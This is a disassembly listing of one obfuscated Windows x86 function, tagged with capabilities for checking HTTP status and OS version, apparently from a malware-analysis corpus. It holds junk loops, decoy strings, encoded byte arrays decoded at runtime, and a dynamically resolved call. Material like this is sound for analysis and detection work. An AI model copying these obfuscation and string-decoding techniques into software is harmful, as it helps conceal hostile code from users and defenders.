Function at 0x10018cf2
Capabilities:
Check http status code
Check os version

Disassembly:
mov eax, 0x1005c0ca
call fcn.1005b550
sub esp, 0x534
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x260], edx
mov dword [ebp - 0x68], ecx
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc0], ebx
mov dword [ebp - 0xbc], ebx
mov dword [ebp - 0xb8], ebx
mov dword [ebp - 0xb4], ebx
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x14], ebx
jmp 0x10018d48
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x48], 0xfffffffa
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10018d3a
mov dword [ebp - 0x44], ebx
cmp dword [ebp - 0x44], 3
jg 0x10018e3b
xor esi, esi
mov dword [ebp - 0x1c], 0xfffffffc
xor edx, edx
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
setl dl
cmp edx, 0x162f6306
jge 0x10018db1
cmp dword [ebp - 0x48], ebx
je 0x10018db1
mov eax, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0xc0], ebx
jne 0x10018dbf
mov eax, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0xc0], ebx
mov eax, ebx
je 0x10018dc2
lea eax, [esi + 1]
mov dword [ebp - 0x1c], eax
xor edx, edx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0xbc]
cmp eax, ecx
mov eax, dword [ebp - 0x44]
setne dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0xc0]
cmp eax, edx
mov eax, dword [ebp - 0x44]
setne cl
mov eax, dword [ebp + eax*4 - 0xc0]
add ecx, eax
mov eax, dword [ebp - 0x44]
mov edx, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x44]
imul edx, ecx
sub edx, eax
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp + eax*4 - 0xc0]
mov eax, dword [ebp - 0x44]
add ecx, edx
xor edx, edx
mov eax, dword [ebp + eax*4 - 0xc0]
cmp eax, ecx
setl dl
mov dword [ebp - 0x24], edx
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 3
jle 0x10018d5d
xor edx, edx
mov dword [ebp - 0x1e4], ebx
inc edx
mov dword [ebp - 0x1e0], ebx
mov dword [ebp - 0x1dc], ebx
push 0xfffffffffffffff8
mov byte [ebp - 4], dl
pop edi
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x28], 0x19003123
mov dword [ebp - 0x18], ebx
jmp 0x10018e76
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x194], 0xfffffffd
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10018e65
mov dword [ebp - 0x18], ebx
jmp 0x10018e92
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x98], 0xf603fa75
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x10018e81
mov dword [ebp - 0x194], ebx
jmp 0x1001904c
mov dword [ebp - 0x14], edx
xor dl, dl
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x18], 0xfffffffe
push ecx
mov dword [ebp - 0x24], 0x26d5d64f
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x50], bl
call fcn.100176b4
xor edx, edx
mov dword [ebp - 0x14], ebx
pop ecx
inc edx
jmp 0x1001903d
mov dword [ebp - 0x30], 0xdf82d83d
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x94]
cmp dword [ebp - 0x1c], ebx
jne 0x10018ef4
mov ecx, ebx
cmp dword [ebp - 0x190], ebx
je 0x10018ef6
mov ecx, edx
xor eax, eax
cmp ecx, 9
sete al
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x194], ebx
jne 0x10018f0c
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x194]
mov eax, dword [ebp - 0x190]
mov eax, dword [ebp - 0x30]
cmp dword [ebp - 0x30], ebx
je 0x10018f52
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x28], eax
jmp 0x10019034
mov dword [ebp - 0x30], 0x348f
mov dword [ebp - 0x20], 0x821d2a6a
mov dword [ebp - 0x18], ebx
jmp 0x1001902b
mov dword [ebp - 0x30], 0xf937b1bd
mov eax, dword [ebp - 0x14]
cmp dword [ebp + eax*4 - 0x98], ebx
jne 0x10019000
mov dword [ebp - 0x30], 0xffff
mov ecx, dword [ebp - 0x30]
sub ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
inc ecx
cmp dword [ebp + eax*4 - 0x98], ecx
jge 0x10018fab
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x98], ebx
jne 0x10018fab
mov edx, ebx
mov eax, dword [ebp - 0x18]
mov esi, dword [ebp + eax*4 - 0x98]
mov eax, dword [ebp - 0x14]
add esi, edx
neg esi
sbb esi, esi
xor ecx, ecx
mov edx, dword [ebp + eax*4 - 0x98]
neg esi
cmp esi, edi
sete cl
xor eax, eax
cmp edx, ecx
setge al
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
ja 0x10018fea
cmp dword [ebp - 0x20], ebx
jne 0x10018fea
xor edx, edx
mov esi, ebx
inc edx
jmp 0x10018fef
xor edx, edx
inc edx
mov esi, edx
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp esi, eax
mov esi, ebx
setle cl
sub ecx, dword [ebp - 0x20]
je 0x10019002
mov esi, edx
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp esi, eax
setl cl
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x20], edx
cmp dword [ebp - 0x20], ebx
jl 0x10019028
mov dword [ebp - 0x30], 0xfffffffc
cmp dword [ebp - 0x30], ebx
jne 0x10019028
dec dword [ebp - 0x20]
jns 0x10019017
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jle 0x10018f68
mov eax, dword [ebp - 0x94]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edx
jle 0x10018ed5
dec dword [ebp - 0x194]
cmp dword [ebp - 0x194], 0xffffffe4
je 0x10018ea3
xor esi, esi
mov dword [ebp - 0x1c], 0x5b77
inc esi
cmp dword [ebp - 0x1c], 0x5f0e
jle 0x100190bb
mov edi, ebx
mov eax, ebx
mov dword [ebp - 0x28], ebx
add eax, edi
lea ecx, [ebp - 0x3e8]
cdq
push edx
push eax
call fcn.10001af4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001908d
mov eax, dword [eax]
push eax
call fcn.1004677c
pop ecx
push ebx
push esi
lea ecx, [ebp - 0x3e8]
call fcn.1000f813
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp eax, 0x497b
jl 0x10019073
inc edi
cmp edi, 0x1362
jl 0x1001906e
push 0xfffffffffffffff8
pop edi
cmp dword [ebp - 0x1c], 0x5906
jge 0x100190cf
push str.qwwgnjps_uzjkx_egigohopw_thkg_awnfxl_ovtiblo_crsezwvrc_keter_pjzs_lvjwtq_lvqsi_phv_shwcufuz
call fcn.1004677c
pop ecx
push 0x7888
mov dword [ebp - 4], esi
sub esp, 0xc
mov dword [ebp - 0x2c], 0xa6318529
mov dword [ebp - 0x2c], 0x9beb0647
mov dword [ebp - 0x2c], 0xffffffff
push ebx
mov dword [ebp - 0x2c], 2
sub esp, 0xc
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x248], ebx
call fcn.100180f0
xor eax, eax
lea ecx, [ebp - 0x248]
inc eax
push eax
push ebx
push ecx
mov dl, al
mov ecx, 0x6ccb
call fcn.10017918
add esp, 0x2c
mov dword [ebp - 0xdc], 0x1c0ab108
mov dword [ebp - 0xd8], 0x420b5f05
mov dword [ebp - 0xd4], 0xf02030c
mov dword [ebp - 0xd0], 0x26042000
push 0x6e
pop eax
push 2
mov dword [ebp - 0xcc], 0x37061109
mov dword [ebp - 0xc8], 0xe072201
mov word [ebp - 0xc4], 0x703
mov word [ebp - 0x344], ax
pop esi
movzx eax, byte [ebp + esi - 0xde]
movzx edx, byte [ebp + esi - 0xdb]
movzx ecx, word [ebp + eax*2 - 0x354]
mov eax, edx
and eax, ecx
add eax, eax
sub edx, eax
movzx eax, byte [ebp + esi - 0xdc]
add edx, ecx
add esi, 2
mov word [ebp + eax*2 - 0x354], dx
cmp esi, 0x1a
jb 0x10019178
xor eax, eax
mov word [ebp - 0x33a], ax
mov dword [ebp - 0x20], 0x5ca3
cmp dword [ebp - 0x20], 0x5f03
jle 0x10019258
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov dword [ebp - 0x14], ebx
cdq
idiv edi
mov dword [ebp - 0x28], 0x6412
mov edi, edx
mov esi, ebx
mov eax, edi
lea ecx, [ebp - 0x430]
or eax, esi
cdq
push edx
push eax
call fcn.10001af4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10019203
mov eax, dword [eax]
push eax
call fcn.1004677c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x430]
call fcn.1000f813
inc esi
cmp esi, 0x7f43
jl 0x100191e7
dec edi
dec dword [ebp - 0x28]
jne 0x100191e5
mov edi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
inc edi
mov dword [ebp - 0x14], edi
cmp edi, 0x6dad
jl 0x100191d9
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x7814
jl 0x100191d4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
mov dword [ebp - 0x14], 0xa5b7d8cf
mov dword [ebp - 0x1c], 0xc345fe46
push 2
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x14], ebx
pop esi
jmp 0x10019286
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1bc], 0xe446df3
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10019275
mov eax, dword [ebp - 0x1b8]
xor ecx, ecx
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, 0xffffffff
setne cl
cmp ecx, 0xe7ccc895
je 0x100192b6
mov eax, dword [ebp - 0x1b8]
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x1b8], ebx
jne 0x100192c7
cmp dword [ebp - 0x14], ebx
jne 0x100192c7
mov eax, ebx
jmp 0x100192ca
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x1c], ebx
jne 0x100192de
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1b8]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1b8]
mov eax, dword [ebp - 0x1bc]
push ecx
push 1
mov byte [ebp - 0x55], bl
lea ecx, [ebp - 0x55]
push 0x20cb
call fcn.100176d6
add esp, 0xc
cmp dword [ebp - 0x20], 0x5b4d
jge 0x10019317
push str.ngyq_qno_iycoaro_xfn_wfeo_uvrhbwkqv_rtj_luh_ppldyxcje_ngdcyhpv
call fcn.1004677c
pop ecx
xor ecx, ecx
inc ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 0x14], ebx
jmp 0x10019333
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1b4], 0xf0ea75c9
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x10019322
push 0x6332
push ecx
push 0x1379
push 0x1ef
push ecx
mov edx, 0x65cf
xor cl, cl
call fcn.10017dce
add esp, 0x14
mov dword [ebp - 0x1b4], ebx
cmp dword [ebp - 0x1b4], 8
jle 0x10019399
mov dword [ebp - 0x1c], 0x6801fc3e
mov eax, dword [ebp - 0x1c]
xor eax, eax
inc eax
cmp dword [ebp - 0x1b4], ebx
jne 0x10019383
mov ecx, ebx
cmp dword [ebp - 0x1c], eax
jg 0x10019385
mov ecx, eax
mov dword [ebp - 0x1c], ecx
inc dword [ebp - 0x1b4]
cmp dword [ebp - 0x1b4], 8
jg 0x10019367
jmp 0x1001939c
xor eax, eax
inc eax
push 0x2d
mov byte [ebp - 0xaa], al
mov ecx, ebx
mov byte [ebp - 0xa4], al
pop eax
push 2
mov dword [ebp - 0xb0], 0x4c043302
mov word [ebp - 0xac], 0x205
mov dword [ebp - 0xa9], 0x70b065d
mov byte [ebp - 0xa5], 0xd
mov dword [ebp - 0xa3], 0xc030a
mov byte [ebp - 0x9f], 0xd
mov word [ebp - 0x2b0], ax
pop esi
mov dword [ebp - 0x19c], ecx
cmp esi, 6
jne 0x10019402
push 2
pop ecx
mov dword [ebp - 0x19c], ecx
jmp 0x10019454
movzx edx, byte [ebp + esi - 0xaf]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0xb2]
movzx ecx, word [ebp + eax*2 - 0x2b4]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0xb0]
add ecx, edx
push ecx
push ebx
mov word [ebp + eax*2 - 0x2b4], cx
lea eax, [ebp - 0x19c]
push eax
mov ecx, 0x69ef
call fcn.100176d6
mov ecx, dword [ebp - 0x19c]
add esp, 0xc
add esi, 2
cmp esi, 0x12
jb 0x100193f2
xor eax, eax
mov word [ebp - 0x2a4], ax
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x18], 0xa
jmp 0x100194c5
mov dword [ebp - 0x1c], 0x7b1891f7
mov dword [ebp - 0x14], ebx
jmp 0x10019492
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4f8], 0x6df251d6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 4
jl 0x10019481
mov dword [ebp - 0x1c], 3
cmp dword [ebp - 0x1c], ebx
jl 0x100194c2
push 1
push 1
mov byte [ebp - 0x56], bl
lea ecx, [ebp - 0x56]
push 0x5736
mov dl, 1
call fcn.10017918
add esp, 0xc
dec dword [ebp - 0x1c]
jns 0x100194a4
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
je 0x10019475
mov dword [ebp - 0x18], 0x17
jmp 0x1001952c
mov dword [ebp - 0x20], 0xfffffffd
mov dword [ebp - 0x20], 1
jmp 0x10019523
mov dword [ebp - 0x14], ebx
jmp 0x100194fa
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1cc], 0x3717be9f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x100194e9
mov dword [ebp - 0x1c8], ebx
jmp 0x10019517
push ecx
mov dl, 1
call fcn.10017a51
inc dword [ebp - 0x1c8]
pop ecx
cmp dword [ebp - 0x1c8], 0x16
jne 0x10019508
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 6
jne 0x100194e4
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffffc
jne 0x100194d4
xor eax, eax
mov dword [ebp - 0x2d8], 7
mov word [ebp - 0x2ec], ax
lea ecx, [ebp - 0x2ec]
lea eax, [ebp - 0x2b4]
mov dword [ebp - 0x2dc], ebx
push eax
call fcn.10017447
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x304]
xor eax, eax
mov dword [ebp - 0x2f0], 7
mov word [ebp - 0x304], ax
lea eax, [ebp - 0x354]
push eax
mov dword [ebp - 0x2f4], ebx
call fcn.10017447
lea eax, [ebp - 0x304]
push eax
lea ecx, [ebp - 0x3d0]
call fcn.10017604
lea eax, [ebp - 0x2ec]
push eax
lea ecx, [ebp - 0x3b8]
call fcn.10017604
push ebx
push 1
lea ecx, [ebp - 0x304]
call fcn.1000fb4b
push ebx
push 1
lea ecx, [ebp - 0x2ec]
call fcn.1000fb4b
mov byte [ebp - 4], 9
lea eax, [ebp - 0x3a0]
push dword [ebp + 0x10]
lea ecx, [ebp - 0x1d8]
mov dword [ebp - 0x1d8], ebx
push eax
lea eax, [ebp - 0x3d0]
mov dword [ebp - 0x1d4], ebx
push eax
push ebx
mov dword [ebp - 0x1d0], ebx
call fcn.1001bb19
push fcn.1001b270
push 1
push 0x30
lea eax, [ebp - 0x3d0]
mov byte [ebp - 4], 0xb
push eax
call fcn.1004633d
push 7
xor eax, eax
lea edi, [ebp - 0x354]
pop ecx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x14], 3
mov dword [ebp - 0x24], 0x1647
mov dword [ebp - 0x28], 0xd35da2
mov dword [ebp - 0x20], 0x3fa7
cmp dword [ebp - 0x20], 0x42dc
jle 0x1001968f
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x28], 0xaaa
mov esi, dword [ebp - 0x1c]
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x10075c58
cdq
push edx
push eax
call fcn.1000ed7e
inc edi
cmp edi, 0x6ffb
jl 0x1001965c
mov esi, dword [ebp - 0x14]
add dword [ebp - 0x1c], esi
dec dword [ebp - 0x28]
jne 0x10019657
inc esi
mov dword [ebp - 0x14], esi
cmp esi, 0x77c0
jl 0x1001964d
mov dword [ebp - 0x2c], 0xdc705be7
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x20], 0x3f04
jge 0x100196d0
mov edx, str.ublnd_lny_klma
mov ecx, 0x10075c58
call fcn.1001381a
jmp 0x100196d0
mov dword [ebp - 4], 0xb
xor edx, edx
inc edx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x2c], 0x429adbd3
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x2c], 0xfffffff8
mov dword [ebp - 0x18], ebx
jmp 0x10019708
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x3c], 0x94f3
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x100196fa
mov dword [ebp - 0x20], 0x36d0
cmp dword [ebp - 0x20], 0x370c
jle 0x10019786
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov dword [ebp - 0x14], ebx
cdq
mov esi, ebx
idiv edi
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x2c], edx
mov ecx, esi
mov edi, ebx
mov esi, edx
sar esi, cl
mov eax, edi
mov ecx, 0x10075c58
xor eax, esi
cdq
push edx
push eax
call fcn.1000ed7e
inc edi
cmp edi, 0x55ea
jl 0x1001973a
mov esi, dword [ebp - 0x28]
mov edx, dword [ebp - 0x2c]
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x2509
jl 0x10019732
mov edi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x1c]
inc edi
mov dword [ebp - 0x14], edi
cmp edi, 0x11cf
jl 0x10019727
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x3658
jl 0x10019722
xor edx, edx
inc edx
mov dword [ebp - 0x18], ebx
jmp 0x1001979c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x330], 0xb460d54b
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1001978b
mov byte [ebp - 4], 0xe
cmp dword [ebp - 0x20], 0x33b8
jge 0x100197de
mov edx, str.owf_cbnhy_xpc_bmql_pbxoz_koaiog_lgvlois_fgbj_zgnla_zyqd
mov ecx, 0x10075c58
call fcn.1001381a
jmp 0x100197db
xor edx, edx
inc edx
mov dword [ebp - 4], 0xb
mov eax, dword [ebp - 0x3c]
push 0xfffffffffffffffd
mov dword [ebp - 0x14], eax
pop esi
mov dword [ebp - 0x14], ebx
jmp 0x10019929
mov dword [ebp - 0x18], 0xc23afc37
mov dword [ebp - 0x20], ebx
jmp 0x10019813
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x418], 0xda314325
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 3
jl 0x10019802
mov dword [ebp - 0x18], ebx
jmp 0x1001991d
mov dword [ebp - 0x20], 0x416db6d0
mov dword [ebp - 0x30], 0xb79f6a71
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x1c], 0xfffffff8
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jl 0x10019917
mov dword [ebp - 0x28], 6
inc dword [ebp - 0x24]
je 0x100198df
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x3c]
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x3c]
test eax, eax
sets cl
cmp dword [ebp - 0x28], ecx
jl 0x1001987c
mov eax, edx
cmp dword [ebp - 0x20], ebx
jne 0x1001987e
mov eax, ebx
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x3c]
jl 0x10019890
cmp dword [ebp - 0x18], ebx
jne 0x10019890
mov edx, ebx
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x18]
mov edx, 0x589d3895
setl cl
sub edx, ecx
add edx, dword [ebp + eax*4 - 0x3c]
mov eax, dword [ebp - 0x18]
cmp edx, dword [ebp + eax*4 - 0x3c]
je 0x100198c2
cmp dword [ebp - 0x3c], ebx
jne 0x100198c2
cmp dword [ebp - 0x30], ebx
jne 0x100198c2
xor edx, edx
mov ecx, ebx
inc edx
jmp 0x100198c7
xor edx, edx
inc edx
mov ecx, edx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x3c]
sub ecx, eax
sub ecx, 0xfffffff7
mov eax, edx
neg ecx
sbb ecx, ecx
inc ecx
cmp ecx, dword [ebp - 0x30]
jge 0x100198e1
mov eax, ebx
cmp eax, edx
mov eax, dword [ebp - 0x14]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x2c], ecx
inc edx
mov dword [ebp - 0x30], ebx
jmp 0x10019909
mov eax, dword [ebp - 0x30]
mov dword [ebp + eax*4 - 0x3c], 0xfffffff9
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], edx
jl 0x100198fb
dec dword [ebp - 0x20]
jns 0x10019848
inc dword [ebp - 0x1c]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x10019821
dec dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
je 0x100197f6
push dword [ebp + 0x10]
xor eax, eax
lea edi, [ebp - 0x2b4]
push dword [ebp + 0xc]
stosd dword es:[edi], eax
lea ecx, [ebp - 0x1d8]
push dword [ebp + 8]
push dword [ebp - 0x1d4]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
call fcn.1001b9af
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x20], ebx
jmp 0x100199c6
mov dword [ebp - 0x14], 0x29bf39
mov dword [ebp - 0x14], ebx
jmp 0x1001997b
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3a0], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1001996e
mov dword [ebp - 0x14], ebx
jmp 0x100199bb
push 0x636b
push 0x3700
push 0x4a51
push 0x51d5
push ebx
push eax
push 0x1f4f
push 0x6049
mov edx, 0x5320
mov ecx, 0x61c7
call fcn.10018116
add esp, 0x20
inc dword [ebp - 0x14]
xor eax, eax
inc eax
cmp dword [ebp - 0x14], eax
jle 0x10019986
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xfffffffe
je 0x10019962
push 0x1deb
push 0x1716
push 0x1906
push 0x1cea
push 1
push ebx
push 0x484e
mov byte [ebp - 0x57], bl
lea ecx, [ebp - 0x57]
push 0x22ff
mov edx, 0x47ea
call fcn.10018116
mov dword [ebp - 0x24], 0x2f2d
add esp, 0x20
cmp dword [ebp - 0x24], 0x3247
jle 0x10019a45
push ebx
push 0x2387
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10075c58
xor eax, esi
cdq
push edx
push eax
call fcn.1000ed7e
inc edi
cmp edi, 0x45c0
jl 0x10019a22
inc esi
cmp esi, 0x5912
jl 0x10019a20
push ebx
push 0xd711
push 0xaec1
call fcn.1003319e
pop ecx
pop ecx
call eax
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x24], 0x2df7
jge 0x10019a93
mov edx, str.pks_yfvrfer_rqomoi_ofxialm_lzlt_oowfcax_mfhp_vlicni_apoxnmunn_xfz_zkc_tdofe_nfpwwv
mov ecx, 0x10075c58
call fcn.1001381a
jmp 0x10019a93
mov dword [ebp - 4], 0xb
xor ecx, ecx
mov dword [ebp - 0x40], ebx
inc ecx
mov dword [ebp - 0x20], 0x8ec0ae97
xor eax, eax
mov dword [ebp - 0x2c], 0x6cce57bf
mov dword [ebp - 0x2c], 0xaa0d7227
mov dword [ebp - 0x2c], 0xfc9a57b5
mov dword [ebp - 0x240], 0xe885
mov word [ebp - 0x318], ax
mov dword [ebp - 0x14], ebx
jmp 0x10019ae5
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x338], 0x5047c4d1
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x10019ad4
mov dword [ebp - 0x20], ebx
jmp 0x10019b55
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x2c], 0xeec54165
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x228], 0xfe44
mov dword [ebp - 0x14], ebx
jmp 0x10019b27
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x3f4], 0xea53061e
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x10019b16
push 0x5d48
push ecx
lea eax, [ebp - 0x240]
xor dl, dl
push eax
call fcn.10018a0d
pop ecx
lea edx, [ebp - 0x228]
call fcn.1001776c
dec dword [ebp - 0x20]
pop ecx
pop ecx
push 1
pop ecx
cmp dword [ebp - 0x20], 0xffffffee
je 0x10019af0
xor eax, eax
mov dword [ebp - 0x180], 0x21eed11
inc eax
mov dword [ebp - 0x17c], 0x19176b09
push 0x44
mov byte [ebp - 0x172], al
mov ecx, ebx
mov byte [ebp - 0x161], al
mov byte [ebp - 0x139], al
mov byte [ebp - 0x135], al
mov byte [ebp - 0x133], al
pop eax
push 2
mov dword [ebp - 0x178], 0x41c000c
mov word [ebp - 0x174], 0x40a
mov dword [ebp - 0x171], 0x8061b71
mov dword [ebp - 0x16d], 0x12741907
mov dword [ebp - 0x169], 0x134f2502
mov dword [ebp - 0x165], 0x61c1050
mov dword [ebp - 0x160], 0x7702030b
mov dword [ebp - 0x15c], 0x39c77c03
mov dword [ebp - 0x158], 0x227d14
mov dword [ebp - 0x154], 0x1a180e1f
mov dword [ebp - 0x150], 0x1c05000e
mov dword [ebp - 0x14c], 0x79037016
mov dword [ebp - 0x148], 0x6047d23
mov dword [ebp - 0x144], 0x70f7521
mov dword [ebp - 0x140], 0x43000924
mov word [ebp - 0x13c], 0x4b1a
mov byte [ebp - 0x13a], 0x15
mov word [ebp - 0x138], 0x820
mov byte [ebp - 0x136], 7
mov byte [ebp - 0x134], 0xd
mov word [ebp - 0x132], 0xd1d
mov word [ebp - 0x4c6], ax
pop esi
mov dword [ebp - 0x184], ecx
cmp esi, 0x24
jne 0x10019cd5
mov dword [ebp - 0x184], 4
push 0x26
mov dword [ebp - 0x2c], 0x842
cmp dword [ebp - 0x2c], 0xb1d
pop esi
mov dword [ebp - 0x28], esi
jle 0x10019d2a
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov esi, ebx
mov edi, ebx
mov dword [ebp - 0x24], 0x1553
and eax, edi
mov ecx, 0x10075c58
cdq
push edx
push eax
call fcn.1000ed7e
mov eax, dword [ebp - 0x1c]
add edi, esi
dec dword [ebp - 0x24]
jne 0x10019ca3
inc esi
cmp esi, 0x57c4
jl 0x10019c9a
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x2929
jl 0x10019c98
mov esi, dword [ebp - 0x28]
jmp 0x10019d2a
movzx edx, byte [ebp + esi - 0x17f]
mov eax, esi
sub eax, ecx
push 0x7fc3
push 0x5328
movzx eax, byte [ebp + eax - 0x182]
movzx eax, word [ebp + eax*2 - 0x4e8]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x180]
push ecx
push ecx
push 0x2959
push ecx
mov word [ebp + eax*2 - 0x4e8], cx
lea ecx, [ebp - 0x184]
push ebx
call fcn.10018998
add esp, 0x1c
add esi, 2
cmp esi, 0x50
jae 0x10019d3d
mov ecx, dword [ebp - 0x184]
jmp 0x10019c6a
xor eax, eax
